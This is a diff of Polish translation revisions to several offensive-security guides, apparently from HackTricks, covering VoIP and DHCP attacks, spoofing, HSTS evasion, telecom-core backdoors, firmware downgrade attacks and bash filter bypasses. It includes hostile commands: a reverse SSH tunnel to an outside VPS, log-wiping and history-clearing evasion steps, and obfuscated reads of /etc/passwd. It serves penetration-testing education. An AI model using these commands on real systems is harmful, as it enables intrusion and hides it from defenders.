Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) zostało zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** oferuje trzy tryby dla protokołu Cisco Discovery Protocol (CDP):
|
||||
|
||||
1. **Tryb Sniff** (`-c 0`): Analizuje pakiety sieciowe, aby zidentyfikować identyfikator VLAN.
|
||||
1. **Tryb Sniff** (`-c 0`): Analizuje pakiety sieciowe w celu zidentyfikowania identyfikatora VLAN.
|
||||
2. **Tryb Spoof** (`-c 1`): Generuje niestandardowe pakiety naśladujące te z rzeczywistego urządzenia VoIP.
|
||||
3. **Tryb Spoof z gotowym pakietem** (`-c 2`): Wysyła pakiety identyczne do tych z konkretnego modelu telefonu IP Cisco.
|
||||
|
||||
@ -489,15 +489,15 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**Dwa typy DoS** mogą być przeprowadzone przeciwko serwerom DHCP. Pierwszy z nich polega na **symulowaniu wystarczającej liczby fałszywych hostów, aby wykorzystać wszystkie możliwe adresy IP**.\
|
||||
Atak ten zadziała tylko wtedy, gdy możesz zobaczyć odpowiedzi serwera DHCP i zakończyć protokół (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na przykład, **nie jest to możliwe w sieciach Wifi**.
|
||||
**Dwa typy DoS** mogą być przeprowadzone przeciwko serwerom DHCP. Pierwszy polega na **symulowaniu wystarczającej liczby fałszywych hostów, aby wykorzystać wszystkie możliwe adresy IP**.\
|
||||
Ten atak zadziała tylko wtedy, gdy możesz zobaczyć odpowiedzi serwera DHCP i zakończyć protokół (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na przykład, **to nie jest możliwe w sieciach Wifi**.
|
||||
|
||||
Innym sposobem przeprowadzenia DoS DHCP jest wysłanie pakietu **DHCP-RELEASE, używając jako kodu źródłowego każdego możliwego adresu IP**. Wtedy serwer pomyśli, że wszyscy zakończyli korzystanie z adresu IP.
|
||||
Innym sposobem przeprowadzenia DoS DHCP jest wysłanie **pakietu DHCP-RELEASE, używając jako kodu źródłowego każdego możliwego adresu IP**. Wtedy serwer pomyśli, że wszyscy zakończyli korzystanie z IP.
|
||||
```bash
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Bardziej automatyczny sposób na to to użycie narzędzia [DHCPing](https://github.com/kamorin/DHCPig).
|
||||
Bardziej automatyczny sposób na to to użycie narzędzia [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
Możesz użyć wspomnianych ataków DoS, aby zmusić klientów do uzyskania nowych dzierżaw w środowisku i wyczerpać legalne serwery, aby stały się nieodpowiednie. Gdy legalne serwery próbują ponownie się połączyć, **możesz serwować złośliwe wartości wspomniane w następnym ataku**.
|
||||
|
||||
@ -635,24 +635,24 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, i mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
W przypadku lokalnego rozwiązywania hostów, gdy zapytania DNS są nieudane, systemy Microsoftu polegają na **Link-Local Multicast Name Resolution (LLMNR)** oraz **NetBIOS Name Service (NBT-NS)**. Podobnie, **Apple Bonjour** i implementacje **Linux zero-configuration** wykorzystują **Multicast DNS (mDNS)** do odkrywania systemów w sieci. Z powodu nieautoryzowanej natury tych protokołów i ich działania przez UDP, wysyłając wiadomości, mogą być wykorzystywane przez atakujących, którzy mają na celu przekierowanie użytkowników do złośliwych usług.
|
||||
Do lokalnego rozwiązywania hostów, gdy zapytania DNS są nieudane, systemy Microsoftu polegają na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Podobnie, **Apple Bonjour** i implementacje **Linux zero-configuration** wykorzystują **Multicast DNS (mDNS)** do odkrywania systemów w sieci. Z powodu nieautoryzowanej natury tych protokołów i ich działania przez UDP, broadcastując wiadomości, mogą być wykorzystywane przez atakujących, którzy mają na celu przekierowanie użytkowników do złośliwych usług.
|
||||
|
||||
Możesz podszywać się pod usługi, które są wyszukiwane przez hosty, używając Respondera do wysyłania fałszywych odpowiedzi.\
|
||||
Przeczytaj tutaj więcej informacji o tym, [jak podszywać się pod usługi za pomocą Respondera](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Możesz podszyć się pod usługi, które są wyszukiwane przez hosty, używając Respondera do wysyłania fałszywych odpowiedzi.\
|
||||
Przeczytaj tutaj więcej informacji o tym, [jak podszyć się pod usługi z Responderem](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Przeglądarki powszechnie wykorzystują **protokół Web Proxy Auto-Discovery (WPAD) do automatycznego pozyskiwania ustawień proxy**. Obejmuje to pobieranie szczegółów konfiguracyjnych z serwera, konkretnie przez URL taki jak "http://wpad.example.org/wpad.dat". Odkrycie tego serwera przez klientów może odbywać się za pomocą różnych mechanizmów:
|
||||
|
||||
- Poprzez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252.
|
||||
- Przez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252.
|
||||
- Przez **DNS**, co polega na wyszukiwaniu nazwy hosta oznaczonej jako _wpad_ w lokalnej domenie.
|
||||
- Za pomocą **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się.
|
||||
- Poprzez **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się.
|
||||
|
||||
Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Używa DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd, zmuszając ich do połączenia się z nim. Aby zgłębić, jak można podszywać się pod usługi za pomocą Respondera, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Używa DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd, zmuszając ich do połączenia się z nim. Aby zgłębić, jak można podszyć się pod usługi używając Respondera, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing urządzeń SSDP i UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Możesz oferować różne usługi w sieci, aby spróbować **oszukać użytkownika** do wprowadzenia jakichś **jawnych danych uwierzytelniających**. **Więcej informacji o tym ataku w** [**Spoofing SSDP i UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Możesz oferować różne usługi w sieci, aby spróbować **oszukać użytkownika** do wprowadzenia jakichś **jawnych poświadczeń**. **Więcej informacji o tym ataku w** [**Spoofing SSDP i UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### Spoofing sąsiadów IPv6
|
||||
|
||||
@ -699,7 +699,7 @@ Więcej informacji [tutaj](https://www.blackhat.com/presentations/bh-dc-09/Marli
|
||||
|
||||
**Różnica** między **sslStrip+ a dns2proxy** a **sslStrip** polega na tym, że będą **przekierowywać** na przykład _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (zauważ **dodatkowe** "**w**") i ustawią **adres tej domeny jako IP atakującego**. W ten sposób **klient** będzie **łączyć się** z _**wwww.facebook.com**_ **(atakujący)**, ale w tle **sslstrip+** będzie **utrzymywać** **prawdziwe połączenie** przez https z **www.facebook.com**.
|
||||
|
||||
**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **autoryzację facebooka w HTTP**.\
|
||||
**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **uwierzytelnienie facebooka w HTTP**.\
|
||||
Zauważ, że aby przeprowadzić ten atak, ofiara musi najpierw spróbować uzyskać dostęp do [http://www.faceook.com](http://www.faceook.com), a nie https. Można to zrobić, modyfikując linki wewnątrz strony http.
|
||||
|
||||
Więcej informacji [tutaj](https://www.bettercap.org/legacy/#hsts-bypass), [tutaj](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [tutaj](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
Czasami, jeśli klient sprawdzi, że CA jest ważne, możesz **serwować certyfikat innej nazwy hosta podpisany przez CA**.\
|
||||
Innym interesującym testem jest **serwowanie certyfikatu żądanej nazwy hosta, ale samopodpisanego**.
|
||||
|
||||
Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą prawdziwego klucza prywatnego) i gdy klient zażąda próby prawdziwego klucza prywatnego (jak hasz), wysłanie fałszywej próby i oczekiwanie, że klient tego nie sprawdzi.
|
||||
Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą prawdziwego klucza prywatnego) i gdy klient poprosi o próbkę prawdziwego klucza prywatnego (jak hash), wysłanie fałszywej próbki i oczekiwanie, że klient tego nie sprawdzi.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
@ -774,7 +774,7 @@ Pakiety ARP są używane do odkrywania, które adresy IP są używane w sieci. K
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**. Maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services".
|
||||
Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**; maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services".
|
||||
|
||||
**Narzędzia**
|
||||
|
||||
@ -794,6 +794,7 @@ Bettercap rozsyła pakiety SSDP w poszukiwaniu wszelkiego rodzaju usług (UDP Po
|
||||
|
||||
Bettercap rozsyła pakiety WSD w poszukiwaniu usług (UDP Port 3702).
|
||||
|
||||
|
||||
### Eksploatacja Telecom / Mobile-Core (GTP)
|
||||
|
||||
{{#ref}}
|
||||
@ -807,4 +808,6 @@ telecom-network-exploitation.md
|
||||
- **Praktyczne Hacking IoT: Ostateczny przewodnik po atakowaniu Internetu Rzeczy. Autorzy: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Wykonanie kodu przez GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były tworzone.
|
||||
`GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były nigdy tworzone.
|
||||
|
||||
Minimalny pakiet PoC (Python):
|
||||
```python
|
||||
@ -68,7 +68,7 @@ microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Dzięki odpowiedniemu przekierowaniu zapory, ten tunel omija VLAN-y tylko do sygnalizacji i ląduje bezpośrednio w **warstwie danych**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
### 4.2 Odwrócony tunel SSH przez port 53
|
||||
DNS jest prawie zawsze otwarty w infrastrukturach roamingowych. Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
@ -81,11 +81,11 @@ Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
|
||||
|-------|-----------|-------------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtowy klucz + 14-bajtowe kawałki (XOR) | czysty pasywny nasłuchiwacz, brak ruchu wychodzącego |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | obserwuje subdomenę `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym szumem GTP-C |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym czatem GTP-C |
|
||||
|
||||
Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie się uruchamiają w przypadku awarii.
|
||||
Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie uruchamiają się w przypadku awarii.
|
||||
|
||||
## 6. Arkusz oszustw dotyczący unikania obrony
|
||||
## 6. Arkusz oszustw w zakresie unikania obrony
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -120,13 +120,13 @@ rm -f /tmp/sh ; history -c
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – niestandardowe narzędzia opisane w poprzednich sekcjach.
|
||||
* `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS fałszywy WPAD
|
||||
* `Responder` : LLMNR/NBT-NS nieautoryzowany WPAD
|
||||
* `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
|
||||
* `FRP` (≥0.37) : przechodzenie przez NAT / mostkowanie zasobów
|
||||
|
||||
---
|
||||
## Pomysły na wykrywanie
|
||||
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN ustanawiające żądania utworzenia kontekstu PDP**.
|
||||
1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN nawiązujące żądania utworzenia kontekstu PDP**.
|
||||
2. **Niestandardowe porty (53, 80, 443) odbierające handshake SSH** z wewnętrznych adresów IP.
|
||||
3. **Częste żądania Echo bez odpowiadających odpowiedzi Echo** – mogą wskazywać na sygnały GTPDoor.
|
||||
4. **Wysoka liczba ruchu ICMP echo-reply z dużymi, niezerowymi polami identyfikatora/sekwencji**.
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Wprowadzenie**
|
||||
|
||||
Oprogramowanie układowe to niezbędne oprogramowanie, które umożliwia urządzeniom prawidłowe działanie, zarządzając i ułatwiając komunikację między komponentami sprzętowymi a oprogramowaniem, z którym użytkownicy wchodzą w interakcję. Jest przechowywane w pamięci trwałej, co zapewnia, że urządzenie może uzyskać dostęp do istotnych instrukcji od momentu włączenia, co prowadzi do uruchomienia systemu operacyjnego. Badanie i potencjalna modyfikacja oprogramowania układowego to kluczowy krok w identyfikacji luk w zabezpieczeniach.
|
||||
Oprogramowanie układowe to niezbędne oprogramowanie, które umożliwia urządzeniom prawidłowe działanie, zarządzając i ułatwiając komunikację między komponentami sprzętowymi a oprogramowaniem, z którym użytkownicy wchodzą w interakcje. Jest przechowywane w pamięci trwałej, co zapewnia, że urządzenie może uzyskać dostęp do istotnych instrukcji od momentu włączenia, co prowadzi do uruchomienia systemu operacyjnego. Badanie i potencjalna modyfikacja oprogramowania układowego to kluczowy krok w identyfikacji luk w zabezpieczeniach.
|
||||
|
||||
## **Zbieranie informacji**
|
||||
|
||||
@ -16,7 +16,7 @@ Oprogramowanie układowe to niezbędne oprogramowanie, które umożliwia urządz
|
||||
- Metryk bazy kodu i lokalizacji źródłowych
|
||||
- Zewnętrznych bibliotek i typów licencji
|
||||
- Historii aktualizacji i certyfikacji regulacyjnych
|
||||
- Diagramów architektonicznych i przepływów
|
||||
- Diagramów architektonicznych i przepływowych
|
||||
- Oceny bezpieczeństwa i zidentyfikowanych luk
|
||||
|
||||
W tym celu narzędzia **inteligencji open-source (OSINT)** są nieocenione, podobnie jak analiza dostępnych komponentów oprogramowania open-source poprzez ręczne i zautomatyzowane procesy przeglądowe. Narzędzia takie jak [Coverity Scan](https://scan.coverity.com) i [Semmle’s LGTM](https://lgtm.com/#explore) oferują darmową analizę statyczną, która może być wykorzystana do znalezienia potencjalnych problemów.
|
||||
@ -25,7 +25,7 @@ W tym celu narzędzia **inteligencji open-source (OSINT)** są nieocenione, podo
|
||||
|
||||
Pozyskiwanie oprogramowania układowego można podejść na różne sposoby, z których każdy ma swój poziom złożoności:
|
||||
|
||||
- **Bezpośrednio** ze źródła (deweloperzy, producenci)
|
||||
- **Bezpośrednio** od źródła (deweloperzy, producenci)
|
||||
- **Budując** je na podstawie dostarczonych instrukcji
|
||||
- **Pobierając** z oficjalnych stron wsparcia
|
||||
- Wykorzystując zapytania **Google dork** do znajdowania hostowanych plików oprogramowania układowego
|
||||
@ -113,7 +113,7 @@ Pliki będą w katalogu "`squashfs-root`" po tym.
|
||||
|
||||
## Analiza Oprogramowania Układowego
|
||||
|
||||
Gdy oprogramowanie układowe jest już uzyskane, istotne jest jego rozłożenie w celu zrozumienia struktury i potencjalnych luk w zabezpieczeniach. Proces ten polega na wykorzystaniu różnych narzędzi do analizy i wydobywania cennych danych z obrazu oprogramowania układowego.
|
||||
Gdy oprogramowanie układowe jest już uzyskane, istotne jest jego rozłożenie na części w celu zrozumienia jego struktury i potencjalnych luk. Proces ten polega na wykorzystaniu różnych narzędzi do analizy i wydobywania cennych danych z obrazu oprogramowania układowego.
|
||||
|
||||
### Narzędzia do Wstępnej Analizy
|
||||
|
||||
@ -132,7 +132,7 @@ Do ekstrakcji **osadzonych plików** zaleca się korzystanie z dokumentacji **fi
|
||||
|
||||
### Ekstrakcja systemu plików
|
||||
|
||||
Używając `binwalk -ev <bin>`, można zazwyczaj wyodrębnić system plików, często do katalogu nazwanego na cześć typu systemu plików (np. squashfs, ubifs). Jednak gdy **binwalk** nie rozpoznaje typu systemu plików z powodu brakujących bajtów magicznych, konieczna jest ręczna ekstrakcja. Polega to na użyciu `binwalk` do zlokalizowania offsetu systemu plików, a następnie polecenia `dd` do wyodrębnienia systemu plików:
|
||||
Używając `binwalk -ev <bin>`, można zazwyczaj wyodrębnić system plików, często do katalogu nazwanego na cześć typu systemu plików (np. squashfs, ubifs). Jednak gdy **binwalk** nie rozpoznaje typu systemu plików z powodu brakujących bajtów magicznych, konieczna jest ręczna ekstrakcja. Polega to na użyciu `binwalk` do zlokalizowania offsetu systemu plików, a następnie polecenia `dd` do wycięcia systemu plików:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -180,7 +180,7 @@ Aby zainstalować niezbędne narzędzia emulacyjne:
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Dla MIPS (big-endian) używa się `qemu-mips`, a dla binarnych little-endian wybór to `qemu-mipsel`.
|
||||
Dla MIPS (big-endian) używa się `qemu-mips`, a dla binarnych little-endian wybór padłby na `qemu-mipsel`.
|
||||
|
||||
#### Emulacja architektury ARM
|
||||
|
||||
@ -192,7 +192,7 @@ Narzędzia takie jak [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmw
|
||||
|
||||
## Analiza dynamiczna w praktyce
|
||||
|
||||
Na tym etapie używa się rzeczywistego lub emulowanego środowiska urządzenia do analizy. Ważne jest, aby utrzymać dostęp do powłoki systemu operacyjnego i systemu plików. Emulacja może nie idealnie odwzorowywać interakcje sprzętowe, co wymaga okazjonalnych restartów emulacji. Analiza powinna ponownie przeglądać system plików, wykorzystywać narażone strony internetowe i usługi sieciowe oraz badać luki w bootloaderze. Testy integralności firmware'u są kluczowe do identyfikacji potencjalnych luk backdoor.
|
||||
Na tym etapie używa się rzeczywistego lub emulowanego środowiska urządzenia do analizy. Ważne jest, aby utrzymać dostęp do powłoki systemu operacyjnego i systemu plików. Emulacja może nie idealnie odwzorowywać interakcje sprzętowe, co wymaga okazjonalnych restartów emulacji. Analiza powinna ponownie przeszukać system plików, wykorzystać narażone strony internetowe i usługi sieciowe oraz zbadać luki w bootloaderze. Testy integralności firmware'u są kluczowe do identyfikacji potencjalnych luk backdoor.
|
||||
|
||||
## Techniki analizy w czasie rzeczywistym
|
||||
|
||||
@ -200,7 +200,7 @@ Analiza w czasie rzeczywistym polega na interakcji z procesem lub binariami w ic
|
||||
|
||||
## Eksploatacja binarna i dowód koncepcji
|
||||
|
||||
Opracowanie PoC dla zidentyfikowanych luk wymaga głębokiego zrozumienia architektury docelowej i programowania w językach niskiego poziomu. Ochrony w czasie rzeczywistym w systemach wbudowanych są rzadkie, ale gdy są obecne, techniki takie jak Return Oriented Programming (ROP) mogą być konieczne.
|
||||
Opracowanie PoC dla zidentyfikowanych luk wymaga głębokiego zrozumienia docelowej architektury i programowania w językach niskiego poziomu. Ochrony w czasie rzeczywistym w systemach wbudowanych są rzadkie, ale gdy są obecne, techniki takie jak Return Oriented Programming (ROP) mogą być konieczne.
|
||||
|
||||
## Przygotowane systemy operacyjne do analizy firmware'u
|
||||
|
||||
@ -208,12 +208,12 @@ Systemy operacyjne takie jak [AttifyOS](https://github.com/adi0x90/attifyos) i [
|
||||
|
||||
## Przygotowane systemy operacyjne do analizy firmware'u
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS to dystrybucja mająca na celu pomoc w przeprowadzaniu ocen bezpieczeństwa i testów penetracyjnych urządzeń Internetu Rzeczy (IoT). Oszczędza dużo czasu, zapewniając wstępnie skonfigurowane środowisko z wszystkimi niezbędnymi narzędziami.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS to dystrybucja mająca na celu pomoc w przeprowadzaniu oceny bezpieczeństwa i testów penetracyjnych urządzeń Internetu Rzeczy (IoT). Oszczędza dużo czasu, zapewniając wstępnie skonfigurowane środowisko z wszystkimi niezbędnymi narzędziami.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): System operacyjny do testowania bezpieczeństwa wbudowanego, oparty na Ubuntu 18.04, wstępnie załadowany narzędziami do testowania bezpieczeństwa firmware'u.
|
||||
|
||||
## Ataki na obniżenie wersji firmware'u i niebezpieczne mechanizmy aktualizacji
|
||||
|
||||
Nawet gdy dostawca wdraża kontrole podpisu kryptograficznego dla obrazów firmware'u, **ochrona przed cofaniem wersji (downgrade) jest często pomijana**. Gdy bootloader lub loader odzyskiwania tylko weryfikuje podpis za pomocą osadzonego klucza publicznego, ale nie porównuje *wersji* (lub monotonicznego licznika) obrazu, który jest wgrywany, atakujący może legalnie zainstalować **starszy, podatny firmware, który nadal ma ważny podpis** i w ten sposób ponownie wprowadzić załatane luki.
|
||||
Nawet gdy dostawca wdraża kontrole podpisu kryptograficznego dla obrazów firmware'u, **ochrona przed cofaniem wersji (downgrade) jest często pomijana**. Gdy boot- lub recovery-loader tylko weryfikuje podpis za pomocą osadzonego klucza publicznego, ale nie porównuje *wersji* (lub monotonicznego licznika) obrazu, który jest wgrywany, atakujący może legalnie zainstalować **starszy, podatny firmware, który nadal ma ważny podpis** i w ten sposób ponownie wprowadzić załatane luki.
|
||||
|
||||
Typowy przebieg ataku:
|
||||
|
||||
@ -223,7 +223,7 @@ Typowy przebieg ataku:
|
||||
* Pobierz go z repozytoriów stron trzecich, takich jak VirusTotal, archiwa internetowe, fora itp.
|
||||
2. **Prześlij lub udostępnij obraz urządzeniu** za pośrednictwem dowolnego narażonego kanału aktualizacji:
|
||||
* Interfejs webowy, API aplikacji mobilnej, USB, TFTP, MQTT itp.
|
||||
* Wiele konsumenckich urządzeń IoT udostępnia *nieautoryzowane* punkty końcowe HTTP(S), które akceptują blob'y firmware'u zakodowane w Base64, dekodują je po stronie serwera i uruchamiają odzyskiwanie/aktualizację.
|
||||
* Wiele konsumenckich urządzeń IoT udostępnia *nieautoryzowane* punkty końcowe HTTP(S), które akceptują blob'y firmware'u zakodowane w Base64, dekodują je po stronie serwera i uruchamiają proces odzyskiwania/aktualizacji.
|
||||
3. Po obniżeniu wersji wykorzystaj lukę, która została załatana w nowszej wersji (na przykład filtr wstrzykiwania poleceń, który został dodany później).
|
||||
4. Opcjonalnie wgraj najnowszy obraz z powrotem lub wyłącz aktualizacje, aby uniknąć wykrycia po uzyskaniu trwałości.
|
||||
|
||||
@ -246,7 +246,7 @@ firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Lista kontrolna oceny logiki aktualizacji
|
||||
|
||||
* Czy transport/autoryzacja *punktu aktualizacji* jest odpowiednio zabezpieczona (TLS + autoryzacja)?
|
||||
* Czy transport/autoryzacja *punktu aktualizacji* jest odpowiednio chroniona (TLS + autoryzacja)?
|
||||
* Czy urządzenie porównuje **numery wersji** lub **monotoniczny licznik przeciwdziałania cofaniu** przed wgraniem?
|
||||
* Czy obraz jest weryfikowany w ramach bezpiecznego łańcucha rozruchowego (np. podpisy sprawdzane przez kod ROM)?
|
||||
* Czy kod w przestrzeni użytkownika wykonuje dodatkowe kontrole poprawności (np. dozwolona mapa partycji, numer modelu)?
|
||||
@ -254,9 +254,9 @@ firmware_v1.3.11.490_signed.bin
|
||||
|
||||
> 💡 Jeśli któregokolwiek z powyższych brakuje, platforma prawdopodobnie jest podatna na ataki cofania.
|
||||
|
||||
## Podatne oprogramowanie układowe do ćwiczeń
|
||||
## Wrażliwe oprogramowanie układowe do ćwiczeń
|
||||
|
||||
Aby ćwiczyć odkrywanie podatności w oprogramowaniu układowym, użyj następujących podatnych projektów oprogramowania układowego jako punktu wyjścia.
|
||||
Aby ćwiczyć odkrywanie luk w oprogramowaniu układowym, użyj następujących wrażliwych projektów oprogramowania układowego jako punktu wyjścia.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
@ -277,7 +277,7 @@ Aby ćwiczyć odkrywanie podatności w oprogramowaniu układowym, użyj następu
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Szkolenie i certyfikat
|
||||
## Szkolenie i certyfikacja
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
|
@ -78,7 +78,7 @@ mi # This will throw an error
|
||||
whoa # This will throw an error
|
||||
!-1!-2 # This will execute whoami
|
||||
```
|
||||
### Ominięcie zabronionych spacji
|
||||
### Obejście zabronionych spacji
|
||||
```bash
|
||||
# {form}
|
||||
{cat,lol.txt} # cat lol.txt
|
||||
@ -114,7 +114,7 @@ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Ominięcie za pomocą kodowania szesnastkowego
|
||||
### Ominięcie z kodowaniem szesnastkowym
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
@ -296,7 +296,7 @@ ln /f*
|
||||
```
|
||||
## Bypass tylko do odczytu/brak wykonania/bez dystrybucji
|
||||
|
||||
Jeśli znajdujesz się w systemie plików z **ochronami tylko do odczytu i brakiem wykonania** lub nawet w kontenerze bez dystrybucji, wciąż istnieją sposoby na **wykonanie dowolnych binarnych plików, nawet powłoki!:**
|
||||
